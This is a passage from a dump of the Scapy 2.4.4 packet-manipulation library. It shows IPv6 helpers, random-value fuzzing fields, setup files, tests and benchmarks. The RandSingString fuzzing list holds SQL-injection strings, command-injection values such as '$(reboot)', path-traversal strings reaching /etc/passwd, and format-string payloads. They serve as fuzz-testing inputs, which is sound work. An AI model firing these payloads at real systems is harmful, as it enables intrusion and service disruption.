0x80 >> i if (byte1 & cur_mask) != (byte2 & cur_mask): return i return 8 tmpA = inet_pton(socket.AF_INET6, a) tmpB = inet_pton(socket.AF_INET6, b) for i in range(16): mbits = matching_bits(orb(tmpA[i]), orb(tmpB[i])) if mbits != 8: return 8 * i + mbits return 128 def in6_isvalid(address): """Return True if 'address' is a valid IPv6 address string, False otherwise.""" try: socket.inet_pton(socket.AF_INET6, address) return True except Exception: return False class Net6(Gen): # syntax ex. fec0::/126 """Generate a list of IPv6s from a network address or a name""" name = "ipv6" ip_regex = re.compile(r"^([a-fA-F0-9:]+)(/[1]?[0-3]?[0-9])?$") def __init__(self, net): self.repr = net tmp = net.split('/') + ["128"] if not self.ip_regex.match(net): tmp[0] = socket.getaddrinfo(tmp[0], None, socket.AF_INET6)[0][-1][0] # noqa: E501 netmask = int(tmp[1]) self.net = inet_pton(socket.AF_INET6, tmp[0]) self.mask = in6_cidr2mask(netmask) self.plen = netmask def _parse(self): def parse_digit(value, netmask): netmask = min(8, max(netmask, 0)) value = int(value) return (value & (0xff << netmask), (value | (0xff >> (8 - netmask))) + 1) self.parsed = [ parse_digit(x, y) for x, y in zip( struct.unpack("16B", in6_and(self.net, self.mask)), (x - self.plen for x in range(8, 129, 8)), ) ] def __iter__(self): self._parse() def rec(n, li): sep = ':' if n and n % 2 == 0 else '' if n == 16: return li return rec(n + 1, [y + sep + '%.2x' % i # faster than '%s%s%.2x' % (y, sep, i) for i in range(*self.parsed[n]) for y in li]) return (in6_ptop(addr) for addr in iter(rec(0, ['']))) def __iterlen__(self): self._parse() return reduce(operator.mul, ((y - x) for (x, y) in self.parsed), 1) def __str__(self): try: return next(self.__iter__()) except (StopIteration, RuntimeError): return None def __eq__(self, other): return str(other) == str(self) def __ne__(self, other): return not self == other __hash__ = None def __repr__(self): return "Net6(%r)" % self.repr scapy-2.4.4/scapy/volatile.py000066400000000000000000000731221372370053500161620ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # Copyright (C) Michael Farrell # Copyright (C) Gauthier Sebaux # This program is published under a GPLv2 license """ Fields that hold random numbers. """ from __future__ import absolute_import import copy import random import time import math import re import uuid import struct from scapy.base_classes import Net from scapy.compat import bytes_encode, chb, plain_str from scapy.utils import corrupt_bits, corrupt_bytes from scapy.modules.six.moves import range #################### # Random numbers # #################### class RandomEnumeration: """iterate through a sequence in random order. When all the values have been drawn, if forever=1, the drawing is done again. # noqa: E501 If renewkeys=0, the draw will be in the same order, guaranteeing that the same # noqa: E501 number will be drawn in not less than the number of integers of the sequence""" # noqa: E501 def __init__(self, inf, sup, seed=None, forever=1, renewkeys=0): self.forever = forever self.renewkeys = renewkeys self.inf = inf self.rnd = random.Random(seed) self.sbox_size = 256 self.top = sup - inf + 1 n = 0 while (1 << n) < self.top: n += 1 self.n = n self.fs = min(3, (n + 1) // 2) self.fsmask = 2**self.fs - 1 self.rounds = max(self.n, 3) self.turns = 0 self.i = 0 def __iter__(self): return self def next(self): while True: if self.turns == 0 or (self.i == 0 and self.renewkeys): self.cnt_key = self.rnd.randint(0, 2**self.n - 1) self.sbox = [self.rnd.randint(0, self.fsmask) for _ in range(self.sbox_size)] self.turns += 1 while self.i < 2**self.n: ct = self.i ^ self.cnt_key self.i += 1 for _ in range(self.rounds): # Unbalanced Feistel Network lsb = ct & self.fsmask ct >>= self.fs lsb ^= self.sbox[ct % self.sbox_size] ct |= lsb << (self.n - self.fs) if ct < self.top: return self.inf + ct self.i = 0 if not self.forever: raise StopIteration __next__ = next class VolatileValue(object): def __repr__(self): return "<%s>" % self.__class__.__name__ def __eq__(self, other): x = self._fix() y = other._fix() if isinstance(other, VolatileValue) else other if not isinstance(x, type(y)): return False return x == y def __ne__(self, other): # Python 2.7 compat return not self == other __hash__ = None def __getattr__(self, attr): if attr in ["__setstate__", "__getstate__"]: raise AttributeError(attr) return getattr(self._fix(), attr) def __str__(self): return str(self._fix()) def __bytes__(self): return bytes_encode(self._fix()) def __len__(self): return len(self._fix()) def copy(self): return copy.copy(self) def _fix(self): return None class RandField(VolatileValue): pass class _RandNumeral(RandField): """Implements integer management in RandField""" def __int__(self): return int(self._fix()) def __index__(self): return int(self) def __nonzero__(self): return bool(self._fix()) __bool__ = __nonzero__ def __add__(self, other): return self._fix() + other def __radd__(self, other): return other + self._fix() def __sub__(self, other): return self._fix() - other def __rsub__(self, other): return other - self._fix() def __mul__(self, other): return self._fix() * other def __rmul__(self, other): return other * self._fix() def __floordiv__(self, other): return self._fix() / other __div__ = __floordiv__ def __lt__(self, other): return self._fix() < other def __le__(self, other): return self._fix() <= other def __ge__(self, other): return self._fix() >= other def __gt__(self, other): return self._fix() > other def __lshift__(self, other): return self._fix() << other def __rshift__(self, other): return self._fix() >> other def __and__(self, other): return self._fix() & other def __rand__(self, other): return other & self._fix() def __or__(self, other): return self._fix() | other def __ror__(self, other): return other | self._fix() class RandNum(_RandNumeral): """Instances evaluate to random integers in selected range""" min = 0 max = 0 def __init__(self, min, max): self.min = min self.max = max def _fix(self): return random.randrange(self.min, self.max + 1) class RandFloat(RandNum): def _fix(self): return random.uniform(self.min, self.max) class RandBinFloat(RandNum): def _fix(self): return struct.unpack("!f", bytes(RandBin(4)))[0] class RandNumGamma(_RandNumeral): def __init__(self, alpha, beta): self.alpha = alpha self.beta = beta def _fix(self): return int(round(random.gammavariate(self.alpha, self.beta))) class RandNumGauss(_RandNumeral): def __init__(self, mu, sigma): self.mu = mu self.sigma = sigma def _fix(self): return int(round(random.gauss(self.mu, self.sigma))) class RandNumExpo(_RandNumeral): def __init__(self, lambd, base=0): self.lambd = lambd self.base = base def _fix(self): return self.base + int(round(random.expovariate(self.lambd))) class RandEnum(RandNum): """Instances evaluate to integer sampling without replacement from the given interval""" # noqa: E501 def __init__(self, min, max, seed=None): self.seq = RandomEnumeration(min, max, seed) super(RandEnum, self).__init__(min, max) def _fix(self): return next(self.seq) class RandByte(RandNum): def __init__(self): RandNum.__init__(self, 0, 2**8 - 1) class RandSByte(RandNum): def __init__(self): RandNum.__init__(self, -2**7, 2**7 - 1) class RandShort(RandNum): def __init__(self): RandNum.__init__(self, 0, 2**16 - 1) class RandSShort(RandNum): def __init__(self): RandNum.__init__(self, -2**15, 2**15 - 1) class RandInt(RandNum): def __init__(self): RandNum.__init__(self, 0, 2**32 - 1) class RandSInt(RandNum): def __init__(self): RandNum.__init__(self, -2**31, 2**31 - 1) class RandLong(RandNum): def __init__(self): RandNum.__init__(self, 0, 2**64 - 1) class RandSLong(RandNum): def __init__(self): RandNum.__init__(self, -2**63, 2**63 - 1) class RandEnumByte(RandEnum): def __init__(self): RandEnum.__init__(self, 0, 2**8 - 1) class RandEnumSByte(RandEnum): def __init__(self): RandEnum.__init__(self, -2**7, 2**7 - 1) class RandEnumShort(RandEnum): def __init__(self): RandEnum.__init__(self, 0, 2**16 - 1) class RandEnumSShort(RandEnum): def __init__(self): RandEnum.__init__(self, -2**15, 2**15 - 1) class RandEnumInt(RandEnum): def __init__(self): RandEnum.__init__(self, 0, 2**32 - 1) class RandEnumSInt(RandEnum): def __init__(self): RandEnum.__init__(self, -2**31, 2**31 - 1) class RandEnumLong(RandEnum): def __init__(self): RandEnum.__init__(self, 0, 2**64 - 1) class RandEnumSLong(RandEnum): def __init__(self): RandEnum.__init__(self, -2**63, 2**63 - 1) class RandEnumKeys(RandEnum): """Picks a random value from dict keys list. """ def __init__(self, enum, seed=None): self.enum = list(enum) RandEnum.__init__(self, 0, len(self.enum) - 1, seed) def _fix(self): return self.enum[next(self.seq)] class RandChoice(RandField): def __init__(self, *args): if not args: raise TypeError("RandChoice needs at least one choice") self._choice = list(args) def _fix(self): return random.choice(self._choice) class RandString(RandField): def __init__(self, size=None, chars=b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"): # noqa: E501 if size is None: size = RandNumExpo(0.01) self.size = size self.chars = chars def _fix(self): s = b"" for _ in range(self.size): rdm_chr = random.choice(self.chars) s += rdm_chr if isinstance(rdm_chr, str) else chb(rdm_chr) return s def __str__(self): return plain_str(self._fix()) def __bytes__(self): return bytes_encode(self._fix()) def __mul__(self, n): return self._fix() * n class RandBin(RandString): def __init__(self, size=None): super(RandBin, self).__init__(size=size, chars=b"".join(chb(c) for c in range(256))) # noqa: E501 class RandTermString(RandBin): def __init__(self, size, term): self.term = bytes_encode(term) super(RandTermString, self).__init__(size=size) def _fix(self): return RandBin._fix(self) + self.term class RandIP(RandString): def __init__(self, iptemplate="0.0.0.0/0"): RandString.__init__(self) self.ip = Net(iptemplate) def _fix(self): return self.ip.choice() class RandMAC(RandString): def __init__(self, template="*"): RandString.__init__(self) template += ":*:*:*:*:*" template = template.split(":") self.mac = () for i in range(6): if template[i] == "*": v = RandByte() elif "-" in template[i]: x, y = template[i].split("-") v = RandNum(int(x, 16), int(y, 16)) else: v = int(template[i], 16) self.mac += (v,) def _fix(self): return "%02x:%02x:%02x:%02x:%02x:%02x" % self.mac class RandIP6(RandString): def __init__(self, ip6template="**"): RandString.__init__(self) self.tmpl = ip6template self.sp = self.tmpl.split(":") for i, v in enumerate(self.sp): if not v or v == "**": continue if "-" in v: a, b = v.split("-") elif v == "*": a = b = "" else: a = b = v if not a: a = "0" if not b: b = "ffff" if a == b: self.sp[i] = int(a, 16) else: self.sp[i] = RandNum(int(a, 16), int(b, 16)) self.variable = "" in self.sp self.multi = self.sp.count("**") def _fix(self): nbm = self.multi ip = [] for i, n in enumerate(self.sp): if n == "**": nbm -= 1 remain = 8 - (len(self.sp) - i - 1) - len(ip) + nbm if "" in self.sp: remain += 1 if nbm or self.variable: remain = random.randint(0, remain) for j in range(remain): ip.append("%04x" % random.randint(0, 65535)) elif isinstance(n, RandNum): ip.append("%04x" % n) elif n == 0: ip.append("0") elif not n: ip.append("") else: ip.append("%04x" % n) if len(ip) == 9: ip.remove("") if ip[-1] == "": ip[-1] = "0" return ":".join(ip) class RandOID(RandString): def __init__(self, fmt=None, depth=RandNumExpo(0.1), idnum=RandNumExpo(0.01)): # noqa: E501 RandString.__init__(self) self.ori_fmt = fmt if fmt is not None: fmt = fmt.split(".") for i in range(len(fmt)): if "-" in fmt[i]: fmt[i] = tuple(map(int, fmt[i].split("-"))) self.fmt = fmt self.depth = depth self.idnum = idnum def __repr__(self): if self.ori_fmt is None: return "<%s>" % self.__class__.__name__ else: return "<%s [%s]>" % (self.__class__.__name__, self.ori_fmt) def _fix(self): if self.fmt is None: return ".".join(str(self.idnum) for _ in range(1 + self.depth)) else: oid = [] for i in self.fmt: if i == "*": oid.append(str(self.idnum)) elif i == "**": oid += [str(self.idnum) for i in range(1 + self.depth)] elif isinstance(i, tuple): oid.append(str(random.randrange(*i))) else: oid.append(i) return ".".join(oid) class RandRegExp(RandField): def __init__(self, regexp, lambda_=0.3,): self._regexp = regexp self._lambda = lambda_ special_sets = { "[:alnum:]": "[a-zA-Z0-9]", "[:alpha:]": "[a-zA-Z]", "[:ascii:]": "[\x00-\x7F]", "[:blank:]": "[ \t]", "[:cntrl:]": "[\x00-\x1F\x7F]", "[:digit:]": "[0-9]", "[:graph:]": "[\x21-\x7E]", "[:lower:]": "[a-z]", "[:print:]": "[\x20-\x7E]", "[:punct:]": "[!\"\\#$%&'()*+,\\-./:;<=>?@\\[\\\\\\]^_{|}~]", "[:space:]": "[ \t\r\n\v\f]", "[:upper:]": "[A-Z]", "[:word:]": "[A-Za-z0-9_]", "[:xdigit:]": "[A-Fa-f0-9]", } @staticmethod def choice_expand(s): m = "" invert = s and s[0] == "^" while True: p = s.find("-") if p < 0: break if p == 0 or p == len(s) - 1: m = "-" if p: s = s[:-1] else: s = s[1:] else: c1 = s[p - 1] c2 = s[p + 1] rng = "".join(map(chr, range(ord(c1), ord(c2) + 1))) s = s[:p - 1] + rng + s[p + 1:] res = m + s if invert: res = "".join(chr(x) for x in range(256) if chr(x) not in res) return res @staticmethod def stack_fix(lst, index): r = "" mul = 1 for e in lst: if isinstance(e, list): if mul != 1: mul = mul - 1 r += RandRegExp.stack_fix(e[1:] * mul, index) # only the last iteration should be kept for back reference f = RandRegExp.stack_fix(e[1:], index) for i, idx in enumerate(index): if e is idx: index[i] = f r += f mul = 1 elif isinstance(e, tuple): kind, val = e if kind == "cite": r += index[val - 1] elif kind == "repeat": mul = val elif kind == "choice": if mul == 1: c = random.choice(val) r += RandRegExp.stack_fix(c[1:], index) else: r += RandRegExp.stack_fix([e] * mul, index) mul = 1 else: if mul != 1: r += RandRegExp.stack_fix([e] * mul, index) mul = 1 else: r += str(e) return r def _fix(self): stack = [None] index = [] current = stack i = 0 regexp = self._regexp for k, v in self.special_sets.items(): regexp = regexp.replace(k, v) ln = len(regexp) interp = True while i < ln: c = regexp[i] i += 1 if c == '(': current = [current] current[0].append(current) elif c == '|': p = current[0] ch = p[-1] if not isinstance(ch, tuple): ch = ("choice", [current]) p[-1] = ch else: ch[1].append(current) current = [p] elif c == ')': ch = current[0][-1] if isinstance(ch, tuple): ch[1].append(current) index.append(current) current = current[0] elif c == '[' or c == '{': current = [current] current[0].append(current) interp = False elif c == ']': current = current[0] choice = RandRegExp.choice_expand("".join(current.pop()[1:])) current.append(RandChoice(*list(choice))) interp = True elif c == '}': current = current[0] num = "".join(current.pop()[1:]) e = current.pop() if "," not in num: n = int(num) current.append([current] + [e] * n) else: num_min, num_max = num.split(",") if not num_min: num_min = "0" if num_max: n = RandNum(int(num_min), int(num_max)) else: n = RandNumExpo(self._lambda, base=int(num_min)) current.append(("repeat", n)) current.append(e) interp = True elif c == '\\': c = regexp[i] if c == "s": c = RandChoice(" ", "\t") elif c in "0123456789": c = ("cite", ord(c) - 0x30) current.append(c) i += 1 elif not interp: current.append(c) elif c == '+': e = current.pop() current.append([current] + [e] * (int(random.expovariate(self._lambda)) + 1)) # noqa: E501 elif c == '*': e = current.pop() current.append([current] + [e] * int(random.expovariate(self._lambda))) # noqa: E501 elif c == '?': if random.randint(0, 1): current.pop() elif c == '.': current.append(RandChoice(*[chr(x) for x in range(256)])) elif c == '$' or c == '^': pass else: current.append(c) return RandRegExp.stack_fix(stack[1:], index) def __repr__(self): return "<%s [%r]>" % (self.__class__.__name__, self._regexp) class RandSingularity(RandChoice): pass class RandSingNum(RandSingularity): @staticmethod def make_power_of_two(end): sign = 1 if end == 0: end = 1 if end < 0: end = -end sign = -1 end_n = int(math.log(end) / math.log(2)) + 1 return {sign * 2**i for i in range(end_n)} def __init__(self, mn, mx): sing = {0, mn, mx, int((mn + mx) / 2)} sing |= self.make_power_of_two(mn) sing |= self.make_power_of_two(mx) for i in sing.copy(): sing.add(i + 1) sing.add(i - 1) for i in sing.copy(): if not mn <= i <= mx: sing.remove(i) super(RandSingNum, self).__init__(*sing) self._choice.sort() class RandSingByte(RandSingNum): def __init__(self): RandSingNum.__init__(self, 0, 2**8 - 1) class RandSingSByte(RandSingNum): def __init__(self): RandSingNum.__init__(self, -2**7, 2**7 - 1) class RandSingShort(RandSingNum): def __init__(self): RandSingNum.__init__(self, 0, 2**16 - 1) class RandSingSShort(RandSingNum): def __init__(self): RandSingNum.__init__(self, -2**15, 2**15 - 1) class RandSingInt(RandSingNum): def __init__(self): RandSingNum.__init__(self, 0, 2**32 - 1) class RandSingSInt(RandSingNum): def __init__(self): RandSingNum.__init__(self, -2**31, 2**31 - 1) class RandSingLong(RandSingNum): def __init__(self): RandSingNum.__init__(self, 0, 2**64 - 1) class RandSingSLong(RandSingNum): def __init__(self): RandSingNum.__init__(self, -2**63, 2**63 - 1) class RandSingString(RandSingularity): def __init__(self): choices_list = ["", "%x", "%%", "%s", "%i", "%n", "%x%x%x%x%x%x%x%x%x", "%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s", "%", "%%%", "A" * 4096, b"\x00" * 4096, b"\xff" * 4096, b"\x7f" * 4096, b"\x80" * 4096, " " * 4096, "\\" * 4096, "(" * 4096, "../" * 1024, "/" * 1024, "${HOME}" * 512, " or 1=1 --", "' or 1=1 --", '" or 1=1 --', " or 1=1; #", "' or 1=1; #", '" or 1=1; #', ";reboot;", "$(reboot)", "`reboot`", "index.php%00", b"\x00", "%00", "\\", "../../../../../../../../../../../../../../../../../etc/passwd", # noqa: E501 "%2e%2e%2f" * 20 + "etc/passwd", "%252e%252e%252f" * 20 + "boot.ini", "..%c0%af" * 20 + "etc/passwd", "..%c0%af" * 20 + "boot.ini", "//etc/passwd", r"..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini", # noqa: E501 "AUX:", "CLOCK$", "COM:", "CON:", "LPT:", "LST:", "NUL:", "CON:", r"C:\CON\CON", r"C:\boot.ini", r"\\myserver\share", "foo.exe:", "foo.exe\\", ] super(RandSingString, self).__init__(*choices_list) def __str__(self): return str(self._fix()) def __bytes__(self): return bytes_encode(self._fix()) class RandPool(RandField): def __init__(self, *args): """Each parameter is a volatile object or a couple (volatile object, weight)""" # noqa: E501 pool = [] for p in args: w = 1 if isinstance(p, tuple): p, w = p pool += [p] * w self._pool = pool def _fix(self): r = random.choice(self._pool) return r._fix() class RandUUID(RandField): """Generates a random UUID. By default, this generates a RFC 4122 version 4 UUID (totally random). See Python's ``uuid`` module documentation for more information. Args: template (optional): A template to build the UUID from. Not valid with any other option. node (optional): A 48-bit Host ID. Only valid for version 1 (where it is optional). clock_seq (optional): An integer of up to 14-bits for the sequence number. Only valid for version 1 (where it is optional). namespace: A namespace identifier, which is also a UUID. Required for versions 3 and 5, must be omitted otherwise. name: string, required for versions 3 and 5, must be omitted otherwise. version: Version of UUID to use (1, 3, 4 or 5). If omitted, attempts to guess which version to generate, defaulting to version 4 (totally random). Raises: ValueError: on invalid constructor arguments """ # This was originally scapy.contrib.dce_rpc.RandUUID. _BASE = "([0-9a-f]{{{0}}}|\\*|[0-9a-f]{{{0}}}:[0-9a-f]{{{0}}})" _REG = re.compile( r"^{0}-?{1}-?{1}-?{2}{2}-?{2}{2}{2}{2}{2}{2}$".format( _BASE.format(8), _BASE.format(4), _BASE.format(2) ), re.I ) VERSIONS = [1, 3, 4, 5] def __init__(self, template=None, node=None, clock_seq=None, namespace=None, name=None, version=None): self.uuid_template = None self.node = None self.clock_seq = None self.namespace = None self.node = None self.version = None if template: if node or clock_seq or namespace or name or version: raise ValueError("UUID template must be the only parameter, " "if specified") tmp = RandUUID._REG.match(template) if tmp: template = tmp.groups() else: # Invalid template raise ValueError("UUID template is invalid") rnd_f = [RandInt] + [RandShort] * 2 + [RandByte] * 8 uuid_template = [] for i, t in enumerate(template): if t == "*": val = rnd_f[i]() elif ":" in t: mini, maxi = t.split(":") val = RandNum(int(mini, 16), int(maxi, 16)) else: val = int(t, 16) uuid_template.append(val) self.uuid_template = tuple(uuid_template) else: if version: if version not in RandUUID.VERSIONS: raise ValueError("version is not supported") else: self.version = version else: # No version specified, try to guess... # This could be wrong, and cause an error later! if node or clock_seq: self.version = 1 elif namespace and name: self.version = 5 else: # Don't know, random! self.version = 4 # We have a version, now do things... if self.version == 1: if namespace or name: raise ValueError("namespace and name may not be used with " "version 1") self.node = node self.clock_seq = clock_seq elif self.version in (3, 5): if node or clock_seq: raise ValueError("node and clock_seq may not be used with " "version {}".format(self.version)) self.namespace = namespace self.name = name elif self.version == 4: if namespace or name or node or clock_seq: raise ValueError("node, clock_seq, node and clock_seq may " "not be used with version 4. If you " "did not specify version, you need to " "specify it explicitly.") def _fix(self): if self.uuid_template: return uuid.UUID(("%08x%04x%04x" + ("%02x" * 8)) % self.uuid_template) elif self.version == 1: return uuid.uuid1(self.node, self.clock_seq) elif self.version == 3: return uuid.uuid3(self.namespace, self.name) elif self.version == 4: return uuid.uuid4() elif self.version == 5: return uuid.uuid5(self.namespace, self.name) else: raise ValueError("Unhandled version") # Automatic timestamp class AutoTime(_RandNumeral): def __init__(self, base=None, diff=None): if diff is not None: self.diff = diff elif base is None: self.diff = 0 else: self.diff = time.time() - base def _fix(self): return time.time() - self.diff class IntAutoTime(AutoTime): def _fix(self): return int(time.time() - self.diff) class ZuluTime(AutoTime): def __init__(self, diff=0): super(ZuluTime, self).__init__(diff=diff) def _fix(self): return time.strftime("%y%m%d%H%M%SZ", time.gmtime(time.time() + self.diff)) class GeneralizedTime(AutoTime): def __init__(self, diff=0): super(GeneralizedTime, self).__init__(diff=diff) def _fix(self): return time.strftime("%Y%m%d%H%M%SZ", time.gmtime(time.time() + self.diff)) class DelayedEval(VolatileValue): """ Example of usage: DelayedEval("time.time()") """ def __init__(self, expr): self.expr = expr def _fix(self): return eval(self.expr) class IncrementalValue(VolatileValue): def __init__(self, start=0, step=1, restart=-1): self.start = self.val = start self.step = step self.restart = restart def _fix(self): v = self.val if self.val == self.restart: self.val = self.start else: self.val += self.step return v class CorruptedBytes(VolatileValue): def __init__(self, s, p=0.01, n=None): self.s = s self.p = p self.n = n def _fix(self): return corrupt_bytes(self.s, self.p, self.n) class CorruptedBits(CorruptedBytes): def _fix(self): return corrupt_bits(self.s, self.p, self.n) scapy-2.4.4/setup.cfg000066400000000000000000000006701372370053500144710ustar00rootroot00000000000000[bdist_wheel] universal = 1 [metadata] description-file = README.md license_file = LICENSE [sdist] formats=gztar owner=root group=root [coverage:run] concurrency = multiprocessing omit = # Scapy specific paths scapy/tools/UTscapy.py test/* # Scapy external modules scapy/modules/six.py scapy/libs/winpcapy.py scapy/libs/ethertypes.py # .tox specific path .tox/* # OS specific paths /private/* scapy-2.4.4/setup.py000077500000000000000000000065261372370053500143730ustar00rootroot00000000000000#! /usr/bin/env python """ Distutils setup file for Scapy. """ try: from setuptools import setup, find_packages except: raise ImportError("setuptools is required to install scapy !") import io import os def get_long_description(): """Extract description from README.md, for PyPI's usage""" def process_ignore_tags(buffer): return "\n".join( x for x in buffer.split("\n") if "" not in x ) try: fpath = os.path.join(os.path.dirname(__file__), "README.md") with io.open(fpath, encoding="utf-8") as f: readme = f.read() desc = readme.partition("")[2] desc = desc.partition("")[0] return process_ignore_tags(desc.strip()) except IOError: return None # https://packaging.python.org/guides/distributing-packages-using-setuptools/ setup( name='scapy', version=__import__('scapy').VERSION, packages=find_packages(), data_files=[('share/man/man1', ["doc/scapy.1"])], package_data={ 'scapy': ['VERSION'], }, # Build starting scripts automatically entry_points={ 'console_scripts': [ 'scapy = scapy.main:interact', 'UTscapy = scapy.tools.UTscapy:main' ] }, python_requires='>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, <4', # pip > 9 handles all the versioning extras_require={ 'basic': ["ipython"], 'complete': [ 'ipython', 'pyx', 'cryptography>=2.0', 'matplotlib' ], 'docs': [ 'sphinx>=2.2.0', 'sphinx_rtd_theme>=0.4.3', 'tox>=3.0.0' ] }, # We use __file__ in scapy/__init__.py, therefore Scapy isn't zip safe zip_safe=False, # Metadata author='Philippe BIONDI', author_email='phil(at)secdev.org', maintainer='Pierre LALET, Gabriel POTTER, Guillaume VALADON', description='Scapy: interactive packet manipulation tool', long_description=get_long_description(), long_description_content_type='text/markdown', license='GPLv2', url='https://scapy.net', project_urls={ 'Documentation': 'https://scapy.readthedocs.io', 'Source Code': 'https://github.com/secdev/scapy/', }, download_url='https://github.com/secdev/scapy/tarball/master', keywords=["network"], classifiers=[ "Development Status :: 5 - Production/Stable", "Environment :: Console", "Intended Audience :: Developers", "Intended Audience :: Information Technology", "Intended Audience :: Science/Research", "Intended Audience :: System Administrators", "Intended Audience :: Telecommunications Industry", "License :: OSI Approved :: GNU General Public License v2 (GPLv2)", "Programming Language :: Python :: 2", "Programming Language :: Python :: 2.7", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.4", "Programming Language :: Python :: 3.5", "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3.7", "Programming Language :: Python :: 3.8", "Topic :: Security", "Topic :: System :: Networking", "Topic :: System :: Networking :: Monitoring", ] ) scapy-2.4.4/test/000077500000000000000000000000001372370053500136245ustar00rootroot00000000000000scapy-2.4.4/test/answering_machines.uts000066400000000000000000000067471372370053500202430ustar00rootroot00000000000000% Regression tests for Scapy Answering Machines # More information at http://www.secdev.org/projects/UTscapy/ ############ ############ + Answering Machines = Generic answering machine mocker import mock @mock.patch("scapy.ansmachine.sniff") def test_am(cls_name, packet_query, check_reply, mock_sniff, **kargs): def sniff(*args,**kargs): kargs["prn"](packet_query) mock_sniff.side_effect = sniff am = cls_name(**kargs) am.send_reply = check_reply am() = BOOT_am def check_BOOTP_am_reply(packet): assert(BOOTP in packet and packet[BOOTP].op == 2) assert(packet[BOOTP].yiaddr == "192.168.1.128" and packet[BOOTP].giaddr == "192.168.1.1") test_am(BOOTP_am, Ether()/IP()/UDP()/BOOTP(op=1), check_BOOTP_am_reply) = DHCP_am def check_DHCP_am_reply(packet): assert(DHCP in packet and len(packet[DHCP].options)) assert(("domain", "localnet") in packet[DHCP].options) test_am(DHCP_am, Ether()/IP()/UDP()/BOOTP(op=1)/DHCP(), check_DHCP_am_reply) = ARP_am def check_ARP_am_reply(packet): assert(ARP in packet and packet[ARP].psrc == "10.28.7.1") assert(packet[ARP].hwsrc == "00:01:02:03:04:05") test_am(ARP_am, Ether()/ARP(pdst="10.28.7.1"), check_ARP_am_reply, IP_addr="10.28.7.1", ARP_addr="00:01:02:03:04:05") = DNS_am def check_DNS_am_reply(packet): assert(DNS in packet and packet[DNS].ancount == 1) assert(packet[DNS].an.rdata == "192.168.1.1") test_am(DNS_am, IP()/UDP()/DNS(qd=DNSQR(qname="www.secdev.org")), check_DNS_am_reply) = DHCPv6_am - Basic Instantiaion ~ osx netaccess a = DHCPv6_am() a.usage() a.parse_options(dns="2001:500::1035", domain="localdomain, local", duid=None, iface=conf.iface, advpref=255, sntpservers=None, sipdomains=None, sipservers=None, nisdomain=None, nisservers=None, nispdomain=None, nispservers=None, bcmcsdomains=None, bcmcsservers=None, debug=1) = DHCPv6_am - SOLICIT ~ osx netaccess req = IPv6(dst="::1")/UDP()/DHCP6(msgtype=1)/DHCP6OptClientId(duid=DUID_LLT()) assert a.is_request(req) res = a.make_reply(req) assert not a.is_request(res) assert res[DHCP6_Advertise] assert res[DHCP6OptPref].prefval == 255 assert res[DHCP6OptReconfAccept] a.print_reply(req, res) = DHCPv6_am - INFO-REQUEST ~ osx netaccess req = IPv6(dst="::1")/UDP()/DHCP6(msgtype=11)/DHCP6OptClientId(duid=DUID_LLT()) assert a.is_request(req) res = a.make_reply(req) assert not a.is_request(res) assert res[DHCP6_Reply] assert "local" in res[DHCP6OptDNSDomains].dnsdomains a.print_reply(req, res) = DHCPv6_am - REQUEST ~ osx netaccess req = IPv6(dst="::1")/UDP()/DHCP6(msgtype=3)/DHCP6OptClientId(duid=DUID_LLT())/DHCP6OptServerId(duid=a.duid) assert a.is_request(req) res = a.make_reply(req) assert not a.is_request(res) assert res[UDP].dport == 546 assert res[DHCP6_Solicit] a.print_reply(req, res) = WiFi_am import mock @mock.patch("scapy.layers.dot11.sniff") def test_WiFi_am(packet_query, check_reply, mock_sniff, **kargs): def sniff(*args,**kargs): kargs["prn"](packet_query) mock_sniff.side_effect = sniff am = WiFi_am(**kargs) am.send_reply = check_reply am() def check_WiFi_am_reply(packet): assert(isinstance(packet, list) and len(packet) == 2) assert(TCP in packet[0] and Raw in packet[0] and raw(packet[0][Raw]) == b"5c4pY") test_WiFi_am(Dot11(FCfield="to-DS")/IP()/TCP()/"Scapy", check_WiFi_am_reply, iffrom="scapy0", ifto="scapy1", replace="5c4pY", pattern="Scapy") scapy-2.4.4/test/benchmark/000077500000000000000000000000001372370053500155565ustar00rootroot00000000000000scapy-2.4.4/test/benchmark/common.py000066400000000000000000000006541372370053500174250ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Guillaume Valadon # This program is published under a GPLv2 license import os import sys scapy_path = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..")) sys.path.append(scapy_path) from scapy.all import * print("Scapy %s - Benchmarks" % VERSION) print("Python %s" % sys.version.replace("\n", "")) scapy-2.4.4/test/benchmark/dissection_and_build.py000066400000000000000000000016341372370053500223010ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Guillaume Valadon # This program is published under a GPLv2 license from common import * import time N = 10000 raw_packet = b'E\x00\x00(\x00\x01\x00\x00@\x11|\xc2\x7f\x00\x00\x01\x7f\x00\x00\x01\x005\x005\x00\x14\x00Z\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00' start = time.time() for i in range(N): p = IP(dst="127.0.0.1", src="127.0.0.1") / UDP() / DNS() assert raw(p) == raw_packet print("Build - %.2fs" % (time.time() - start)) start = time.time() for i in range(N): p = IP(raw_packet) assert DNS in p print("Dissect - %.2fs" % (time.time() - start)) start = time.time() for i in range(N): p = IP(dst="127.0.0.1", src="127.0.0.1") / UDP() / DNS() s = raw(p) assert s == raw_packet p = IP(s) assert DNS in p print("Build & dissect - %.2fs" % (time.time() - start)) scapy-2.4.4/test/benchmark/latency_router.py000066400000000000000000000016511372370053500211720ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Gabriel Potter # This program is published under a GPLv2 license # https://github.com/secdev/scapy/issues/1791 from common import * # Router IP dest = conf.route.route("0.0.0.0")[2] send_tcp = True send_icmp = False pkts = [] for i in range(1,50): a = IP(dst=dest) / TCP(flags="S", seq=i, sport=65000, dport=55556) b = IP(dst=dest)/ICMP() if send_tcp: pkts.append(a) if send_icmp: pkts.append(b) ans, unans = sr(pkts, filter="host {0}".format(dest), inter=0, timeout=1, prebuild=True) print("scapy version: {}".format(conf.version)) average = 0 for pkt in 